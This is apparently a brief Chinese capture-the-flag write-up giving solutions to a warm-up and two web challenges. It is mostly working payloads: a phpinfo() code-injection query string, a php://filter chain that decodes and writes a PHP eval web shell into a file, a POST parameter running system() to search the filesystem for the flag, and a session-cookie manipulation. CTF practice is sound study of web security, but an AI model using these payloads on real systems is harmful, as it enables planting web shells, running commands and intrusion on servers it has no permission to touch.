不泄露wp每晚9点更新
热身
?f=phpinfo();
在里面找到secret文件，里面有flag
web1
?content=php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B/../3.php
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B ----->
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ ----->
<?php eval($_POST[1]);?>
1=system("find / -name fl*");
在/flag.txt
web2
Post
session_id=session_id
Cookie
PHPSESSID=HappyNewYear
